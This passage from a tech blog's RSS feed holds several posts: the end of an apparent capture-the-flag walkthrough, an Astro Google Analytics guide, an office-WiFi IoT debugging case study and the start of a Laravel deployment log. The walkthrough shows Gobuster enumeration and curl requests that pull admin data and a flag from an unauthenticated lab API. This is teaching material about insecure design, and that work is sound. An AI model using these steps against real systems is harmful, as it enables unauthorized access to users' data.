&lt;li&gt;Weak separation of trust boundaries&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What&apos;s the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.W4GTINV4_7uhnh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The application claimed to be “mobile-only.” However, this restriction existed only at the UI level.&lt;/p&gt;
&lt;h3&gt;Step 1: Directory Enumeration&lt;/h3&gt;
&lt;p&gt;We used Gobuster:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster dir \
-u http://IP_MACHINE:5005 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the scan was slow, we targeted the &lt;code&gt;/api&lt;/code&gt; path directly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster dir \
-u http://IP_MACHINE:5005/api \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.C0iSlHmL_17oDdy.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We discovered:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/api/users
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2: Accessing the API Directly&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl http://IP_MACHINE:5005/api/users
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Response:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;admin&quot;: {
    &quot;email&quot;: &quot;admin@example.com&quot;,
    &quot;name&quot;: &quot;Admin&quot;,
    &quot;role&quot;: &quot;admin&quot;
  },
  ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This confirmed that the backend API was accessible without authentication.&lt;/p&gt;
&lt;h3&gt;Step 3: Accessing Admin Messages&lt;/h3&gt;
&lt;p&gt;Eventually, the flag was found at:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl http://IP_MACHINE:5005/api/messages/admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-13.D879x5TQ_qrJd4.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM(...)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This demonstrates insecure design:
The system assumed only mobile clients would access the API, but no authentication or authorization was enforced on the backend.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Conclusion&lt;/h2&gt;
&lt;p&gt;Security design failures stem from weak architectural foundations. Security cannot be effectively “patched in” at the end of development.&lt;/p&gt;
&lt;p&gt;Strong systems require:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clear security requirements&lt;/li&gt;
&lt;li&gt;Realistic threat modeling&lt;/li&gt;
&lt;li&gt;Proper authentication and authorization&lt;/li&gt;
&lt;li&gt;Secure configuration management&lt;/li&gt;
&lt;li&gt;A secure-by-design approach from the start&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;I&apos;m ready for the next room!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/a.oxjjXsrx.webp"/><enclosure url="/_astro/a.oxjjXsrx.webp"/></item><item><title>Pro Google Analytics in Astro with Partytown</title><link>https://farros.co/blog/pro-google-analytics-in-astro-with-partytown/</link><guid isPermaLink="true">https://farros.co/blog/pro-google-analytics-in-astro-with-partytown/</guid><description>A practical integrating Google Analytics in Astro with Partytown. This guide covers performance considerations, View Transitions, and deployment tips.</description><pubDate>Fri, 13 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Integrating Google Analytics into Astro is relatively straightforward. However, if you&apos;re aiming for better performance and compatibility with features like View Transitions, you may need some additional configuration.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Production Note:&lt;/strong&gt; This guide is based on experiments I ran on &lt;strong&gt;&lt;a href=&quot;https://farros.co&quot;&gt;farros.co&lt;/a&gt;&lt;/strong&gt;. At the moment, Google Analytics is not installed there due to several considerations that will be discussed later.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This article continues from &lt;a href=&quot;https://farros.co/blog/add-google-analytics-to-astro-the-complete-guide/&quot;&gt;Add Google Analytics to Astro: The Complete Guide&lt;/a&gt;. Here, we’ll refactor the setup using &lt;strong&gt;Partytown&lt;/strong&gt; to offload third-party scripts, handle &lt;strong&gt;View Transitions&lt;/strong&gt; more carefully, and update around five files.&lt;/p&gt;
&lt;h2&gt;The Strategy: Performance &amp;#x26; Accuracy&lt;/h2&gt;
&lt;p&gt;The general objective here focuses on two areas:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Performance:&lt;/strong&gt; Try to reduce the chance of Google Analytics affecting the main thread by using Astro&apos;s Partytown integration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accuracy:&lt;/strong&gt; Make sure page navigations are tracked properly, especially when using Astro&apos;s client-side routing (View Transitions).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Step 1: Configure Partytown (&lt;code&gt;astro.config.ts&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;First, we configure Astro to process third-party scripts with Partytown.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The File:&lt;/strong&gt; &lt;code&gt;astro.config.ts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This is your project&apos;s central configuration file. Here, we add the Partytown integration.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// astro.config.ts
import { defineConfig } from &apos;astro/config&apos;;
import partytown from &apos;@astrojs/partytown&apos;;

export default defineConfig({
  // ...other configs
  integrations: [
    // ...other integrations
    partytown({
      config: {
        forward: [&apos;dataLayer.push&apos;, &apos;gtag&apos;],
      },
    }),
  ],
});
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;partytown({ ... })&lt;/code&gt;: Enables the integration.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;config: { forward: [...] }&lt;/code&gt;: This part creates a bridge for &lt;code&gt;dataLayer.push&lt;/code&gt; and &lt;code&gt;gtag&lt;/code&gt; from the main thread (where your UI runs) to the web worker where Partytown executes the Google Analytics script. This allows your code to call &lt;code&gt;gtag()&lt;/code&gt; as usual, while the heavy lifting happens in a separate thread.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Step 2: Secure Your ID (&lt;code&gt;.env&lt;/code&gt; &amp;#x26; &lt;code&gt;src/type.d.ts&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;This step follows a common best practice: storing your Measurement ID in environment variables and adding TypeScript typings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Files:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;.env&lt;/code&gt; (in your project root)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;src/type.d.ts&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;1. The &lt;code&gt;.env&lt;/code&gt; file:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;# .env
PUBLIC_GA_ID=YOUR_MEASUREMENT_ID
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;PUBLIC_&lt;/code&gt; prefix tells Astro that this variable can be exposed to client-side scripts.&lt;/p&gt;
&lt;p&gt;If your repository is public, avoid committing your actual Measurement ID.&lt;/p&gt;
&lt;p&gt;Instead, define the same variable in your deployment environment.&lt;/p&gt;
&lt;p&gt;For GitHub Actions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Repository → Settings&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Open &lt;strong&gt;Secrets and variables → Actions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;New repository secret&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Add:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PUBLIC_GA_ID = YOUR_MEASUREMENT_ID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202026-02-14%20065829.BBoLW43v_Z2aRY1f.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;This ensures the ID is injected securely at build time without exposing it in the repository.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The &lt;code&gt;src/type.d.ts&lt;/code&gt; file:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/type.d.ts
declare global {
  interface Window {
    dataLayer: Record&amp;#x3C;string, any&gt;[];
    gtag: (...args: any[]) =&gt; void;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This setup helps avoid hardcoding your Measurement ID directly in source files.&lt;/li&gt;
&lt;li&gt;The TypeScript declaration reduces type warnings during development and improves editor support.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Step 3: Initial Load (&lt;code&gt;src/components/BaseHead.astro&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;Next, we handle the initial loading of the Google Analytics script inside a head component.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The File:&lt;/strong&gt; &lt;code&gt;src/components/BaseHead.astro&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This component manages everything inside the &lt;code&gt;&amp;#x3C;head&gt;&lt;/code&gt; tag.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// src/components/BaseHead.astro
const gaId = import.meta.env.PUBLIC_GA_ID;
---

&amp;#x3C;!-- ... other head tags ... --&gt;

{/* Google Analytics */}
{
  gaId &amp;#x26;&amp;#x26; import.meta.env.PROD &amp;#x26;&amp;#x26; (
    &amp;#x3C;&gt;
      &amp;#x3C;script
        type=&apos;text/partytown&apos;
        async
        src={`https://www.googletagmanager.com/gtag/js?id=${gaId}`}
      /&gt;
      &amp;#x3C;script type=&apos;text/partytown&apos;&gt;
        {`
          window.dataLayer = window.dataLayer || [];
          function gtag(){dataLayer.push(arguments);}
          gtag(&apos;js&apos;, new Date());
          gtag(&apos;config&apos;, &apos;${gaId}&apos;, { &apos;send_page_view&apos;: false });
        `}
      &amp;#x3C;/script&gt;
    &amp;#x3C;/&gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Variable Injection:&lt;/strong&gt; We define &lt;code&gt;const gaId = import.meta.env.PUBLIC_GA_ID;&lt;/code&gt; in the frontmatter and then reference &lt;code&gt;${gaId}&lt;/code&gt; inside the template literal. This allows Astro to replace the value at build time. Placing &lt;code&gt;import.meta.env&lt;/code&gt; directly inside the string block would likely not work as expected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conditional Loading:&lt;/strong&gt; &lt;code&gt;gaId &amp;#x26;&amp;#x26; import.meta.env.PROD&lt;/code&gt; ensures the script only renders when an ID is available and the build is running in production.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Partytown Execution:&lt;/strong&gt; &lt;code&gt;type=&apos;text/partytown&apos;&lt;/code&gt; tells Partytown to execute the script inside a web worker, which may help reduce main-thread impact.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disabling Auto Page Views:&lt;/strong&gt; &lt;code&gt;gtag(&apos;config&apos;, ..., { &apos;send_page_view&apos;: false });&lt;/code&gt; turns off automatic page view tracking. This allows us to handle navigation tracking manually, which can be more reliable with View Transitions.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Step 4: Tracking Navigation (&lt;code&gt;src/layouts/BaseLayout.astro&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;Now we manually send page view events whenever a user navigates.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The File:&lt;/strong&gt; &lt;code&gt;src/layouts/BaseLayout.astro&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We add a small inline script near the end of the &lt;code&gt;&amp;#x3C;body&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
// src/layouts/BaseLayout.astro
---
&amp;#x3C;html lang=&quot;en-US&quot;&gt;
  &amp;#x3C;head&gt;
    &amp;#x3C;BaseHead /&gt;
    {/* ... */}
  &amp;#x3C;/head&gt;
  &amp;#x3C;body&gt;
    {/* ... page content ... */}

    &amp;#x3C;script is:inline&gt;
      document.addEventListener(&apos;astro:page-load&apos;, () =&gt; {
        if (typeof window.gtag === &apos;function&apos;) {
          window.gtag(&apos;event&apos;, &apos;page_view&apos;, {
            page_title: document.title,
            page_location: window.location.href,
          });
        }
      });
    &amp;#x3C;/script&gt;
  &amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;is:inline&lt;/code&gt;:&lt;/strong&gt; This ensures the script is placed directly into the HTML without bundling. That way, it can safely listen for DOM events.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;astro:page-load&lt;/code&gt; Event:&lt;/strong&gt; We use &lt;code&gt;astro:page-load&lt;/code&gt;, which generally fires after the page is fully loaded and visible, including after a View Transition completes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual &lt;code&gt;page_view&lt;/code&gt; Event:&lt;/strong&gt; When triggered, we send a &lt;code&gt;page_view&lt;/code&gt; event to Google Analytics. The &lt;code&gt;gtag&lt;/code&gt; function here is forwarded via Partytown.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Step 5: Deployment (&lt;code&gt;.github/workflows/deploy.yml&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;Finally, we make sure the Measurement ID is available during the build process. If you&apos;re deploying to GitHub Pages, this can be done using GitHub Actions secrets.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The File:&lt;/strong&gt; &lt;code&gt;.github/workflows/deploy.yml&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# .github/workflows/deploy.yml

jobs:
  build:
    runs-on: ubuntu-latest
    env:
      PUBLIC_GA_ID: ${{ secrets.PUBLIC_GA_ID }}
    steps:
      - name: Checkout your repository using git
        uses: actions/checkout@v4
      - name: Install, build, and upload your site
        uses: withastro/action@v2
        # ...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;First, go to your GitHub repository’s &lt;strong&gt;Settings &gt; Secrets and variables &gt; Actions&lt;/strong&gt;, then create a &lt;strong&gt;New repository secret&lt;/strong&gt; named &lt;code&gt;PUBLIC_GA_ID&lt;/code&gt; with your Measurement ID as its value.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;env:&lt;/code&gt; block makes this secret available during the build. The &lt;code&gt;withastro/action@v2&lt;/code&gt; step will then expose it to Astro, allowing &lt;code&gt;import.meta.env.PUBLIC_GA_ID&lt;/code&gt; to resolve correctly at build time.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By coordinating these five files, you can build a more performance-aware Google Analytics setup in Astro. While this approach may not be necessary for every project, it can offer better control over tracking behavior, especially in sites that rely on View Transitions and client-side navigation.&lt;/p&gt;
&lt;p&gt;If this guide helped you think differently about analytics and performance in Astro, feel free to share it with other builders who care about clean implementations.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.BwKTNMFq.webp"/><enclosure url="/_astro/image.BwKTNMFq.webp"/></item><item><title>Debugging Push SDK on Office WiFi Networks</title><link>https://farros.co/blog/debugging-push-sdk-on-office-wifi-networks/</link><guid isPermaLink="true">https://farros.co/blog/debugging-push-sdk-on-office-wifi-networks/</guid><description>A real-world case study of deploying a face recognition attendance device and diagnosing WiFi firewall issues blocking cloud Push SDK.</description><pubDate>Thu, 12 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Deploying a face recognition attendance device sounds simple—connect it to WiFi, point it to the server, and you&apos;re done.&lt;/p&gt;
&lt;p&gt;In reality? Network policies can turn a 30-minute setup into a full debugging session.&lt;/p&gt;
&lt;p&gt;This article documents a real-world deployment of a cloud-connected attendance device, the network issues encountered, and the technical reasoning behind the final diagnosis.&lt;/p&gt;
&lt;h2&gt;1. Device Overview&lt;/h2&gt;
&lt;p&gt;The deployed device is a &lt;strong&gt;face recognition attendance terminal&lt;/strong&gt; with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WiFi (2.4G)&lt;/li&gt;
&lt;li&gt;HTTP / HTTPS support&lt;/li&gt;
&lt;li&gt;Push SDK integration&lt;/li&gt;
&lt;li&gt;Local Web UI configuration&lt;/li&gt;
&lt;li&gt;Cloud server connectivity via custom port&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Network Capabilities&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;DHCP or Static IP&lt;/li&gt;
&lt;li&gt;DNS configuration&lt;/li&gt;
&lt;li&gt;Custom HTTP push port&lt;/li&gt;
&lt;li&gt;Push SDK server configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This type of device behaves similarly to an IoT endpoint rather than a traditional PC client.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Deployment Architecture&lt;/h2&gt;
&lt;h3&gt;Cloud Setup&lt;/h3&gt;
&lt;p&gt;The device was configured with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Domain&lt;/strong&gt;: &lt;code&gt;fvivo.online&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protocol&lt;/strong&gt;: HTTP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port&lt;/strong&gt;: 8001&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Push SDK&lt;/strong&gt;: Enabled&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The cloud endpoint responded successfully via browser:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.Djmb2Sj__Z1JYYrk.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Response:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{&quot;message&quot;:&quot;Hello from Server!!!&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the server was confirmed operational.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Initial Symptoms&lt;/h2&gt;
&lt;p&gt;When connected to:&lt;/p&gt;
&lt;h3&gt;✅ Mobile Hotspot&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Push SDK → Online&lt;/li&gt;
&lt;li&gt;Cloud sync → Working&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Office WiFi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Push SDK → Offline&lt;/li&gt;
&lt;li&gt;Internet available&lt;/li&gt;
&lt;li&gt;DNS resolving&lt;/li&gt;
&lt;li&gt;Port reachable from PC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This discrepancy was the key clue.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Network Testing &amp;#x26; Validation&lt;/h2&gt;
&lt;h3&gt;4.1 Basic Connectivity&lt;/h3&gt;
&lt;p&gt;From office WiFi:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;ping 8.8.8.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Internet reachable.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;4.2 Port Test&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Test-NetConnection fvivo.online -Port 8001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;TcpTestSucceeded : True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Port 8001 NOT globally blocked&lt;/li&gt;
&lt;li&gt;DNS working&lt;/li&gt;
&lt;li&gt;Outbound TCP allowed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yet the device still showed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Push SDK Status: Offline
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;5. Why PC Works but Device Fails&lt;/h2&gt;
&lt;p&gt;This is where deeper network behavior matters.&lt;/p&gt;
&lt;p&gt;Enterprise WiFi networks often apply:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MAC-based policy rules&lt;/li&gt;
&lt;li&gt;VLAN segmentation&lt;/li&gt;
&lt;li&gt;IoT isolation&lt;/li&gt;
&lt;li&gt;Layer 7 filtering&lt;/li&gt;
&lt;li&gt;Deep Packet Inspection (DPI)&lt;/li&gt;
&lt;li&gt;Application-based firewall rules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PC traffic is recognized as normal browser/client behavior.&lt;/p&gt;
&lt;p&gt;IoT traffic (like Push SDK HTTP posts) may be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Classified differently&lt;/li&gt;
&lt;li&gt;Subject to stricter outbound filtering&lt;/li&gt;
&lt;li&gt;Blocked by security profile&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even when the port is technically open.&lt;/p&gt;
&lt;p&gt;This explains why:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PC → can access port 8001&lt;/li&gt;
&lt;li&gt;Device → cannot establish session&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hotspot works because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No L7 inspection&lt;/li&gt;
&lt;li&gt;No security policy&lt;/li&gt;
&lt;li&gt;No device classification&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;6. Why It Was NOT a Port Issue&lt;/h2&gt;
&lt;p&gt;Many assume port blocking first.&lt;/p&gt;
&lt;p&gt;However:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Port 8001 reachable from PC&lt;/li&gt;
&lt;li&gt;Server confirmed live&lt;/li&gt;
&lt;li&gt;DNS resolving&lt;/li&gt;
&lt;li&gt;HTTP response verified&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, traditional firewall port block was ruled out.&lt;/p&gt;
&lt;p&gt;The issue was &lt;strong&gt;policy-level filtering&lt;/strong&gt;, not transport-level blocking.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. The Most Likely Root Causes&lt;/h2&gt;
&lt;p&gt;Based on behavior:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;IoT isolation profile applied to unknown MAC&lt;/li&gt;
&lt;li&gt;VLAN separation for non-registered devices&lt;/li&gt;
&lt;li&gt;Application filtering for non-browser HTTP clients&lt;/li&gt;
&lt;li&gt;Security rule limiting outbound traffic by device type&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In enterprise networks, security layers are often invisible to end users.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. How to Communicate With IT (Best Practice)&lt;/h2&gt;
&lt;p&gt;Instead of saying:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Port 8001 is blocked.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A better technical request is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The attendance device cannot establish outbound TCP session to &lt;code&gt;fvivo.online:8001&lt;/code&gt; when connected to office WiFi, but works via mobile hotspot.
PC connectivity test to the same endpoint succeeds.
Please check if there is any MAC-based policy, VLAN isolation, or application filtering affecting this device.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This approach avoids blame and invites structured investigation.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Lessons Learned&lt;/h2&gt;
&lt;h3&gt;🔹 1. IoT devices are treated differently&lt;/h3&gt;
&lt;p&gt;Enterprise WiFi does not treat all clients equally.&lt;/p&gt;
&lt;h3&gt;🔹 2. Port open ≠ Traffic allowed&lt;/h3&gt;
&lt;p&gt;Firewall inspection can allow a port while still blocking specific traffic patterns.&lt;/p&gt;
&lt;h3&gt;🔹 3. Always compare environments&lt;/h3&gt;
&lt;p&gt;If hotspot works and office WiFi does not:
The network is the variable—not the device.&lt;/p&gt;
&lt;h3&gt;🔹 4. Push SDK over HTTPS is safer&lt;/h3&gt;
&lt;p&gt;Using HTTPS (443) significantly reduces filtering issues in enterprise environments.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Recommended Best Practices&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use HTTPS (443) whenever possible&lt;/li&gt;
&lt;li&gt;Ask IT to whitelist device MAC address&lt;/li&gt;
&lt;li&gt;Document server IP and domain&lt;/li&gt;
&lt;li&gt;Keep network architecture diagrammed&lt;/li&gt;
&lt;li&gt;Avoid custom ports if corporate firewall policies are unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Final Opinion&lt;/h2&gt;
&lt;p&gt;Deploying biometric attendance devices is no longer just a hardware task—it is a networking task.&lt;/p&gt;
&lt;p&gt;Modern enterprise networks prioritize security, often at the expense of IoT compatibility.&lt;/p&gt;
&lt;p&gt;Understanding network layers (L3 vs L7 filtering) is critical for successful deployment.&lt;/p&gt;
&lt;p&gt;If a device works on hotspot but fails on corporate WiFi, the network policy is almost always the hidden variable.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;If this case study helped you, feel free to share it or follow for more real-world deployment insights.&lt;/p&gt;</content:encoded><h:img src="/_astro/image2.CX5ky7bi.png"/><enclosure url="/_astro/image2.CX5ky7bi.png"/></item><item><title>Deploying Laravel E-commerce: Lessons from the Field</title><link>https://farros.co/blog/deploying-laravel-e-commerce-lessons-from-the-field/</link><guid isPermaLink="true">https://farros.co/blog/deploying-laravel-e-commerce-lessons-from-the-field/</guid><description>Real-world lessons from deploying a Laravel e-commerce app to VPS—covering pitfalls, trade-offs, and practical decisions beyond local development.</description><pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This document outlines the development process for a single-vendor e-commerce website using a Laravel backend, MySQL database, and Vue.js for the frontend. Initially, three potential tech stacks were considered: Medusa.js, Saleor, and Laravel + Vue.js 3.&lt;/p&gt;
&lt;p&gt;The initial local development phase involved:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installing Laragon and setting up the project in &lt;code&gt;C:\laragon\www\sonusweb&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Creating a MySQL database named &lt;code&gt;sonusweb&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.D2X2OJ9Y_ZUSuJk.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DtNcCUIT_Z1kwljz.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;.env&lt;/code&gt; configuration during local setup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;APP_NAME=&quot;sonusweb&quot;
APP_URL=&quot;http://localhost&quot;
APP_ENV=local
APP_KEY=
APP_DEBUG=true
APP_TIMEZONE=&quot;Asia/Jakarta&quot;

ASSET_URL=&quot;http://localhost&quot;

DEMO_MODE=&quot;Off&quot;

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=sonusweb
DB_USERNAME=root
DB_PASSWORD=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Challenges encountered during local setup included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Issues with the PHP zip extension not being enabled.&lt;/li&gt;
&lt;li&gt;Deciding not to enable Redis locally, leading to &lt;code&gt;.env&lt;/code&gt; modifications:
&lt;code&gt;CACHE_DRIVER=file&lt;/code&gt;
&lt;code&gt;SESSION_DRIVER=file&lt;/code&gt;
&lt;code&gt;QUEUE_CONNECTION=sync&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;An error related to a missing &apos;settings&apos; table, which required adjusting helper configurations to conditionally access the database only if the table exists.
&lt;img src=&quot;https://farros.co/_astro/image-2.BSrGsT03_zCCvn.webp&quot; alt=&quot;alt text&quot;&gt;
&lt;img src=&quot;https://farros.co/_astro/image-3.D1gVrjMI_1APQsw.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/li&gt;
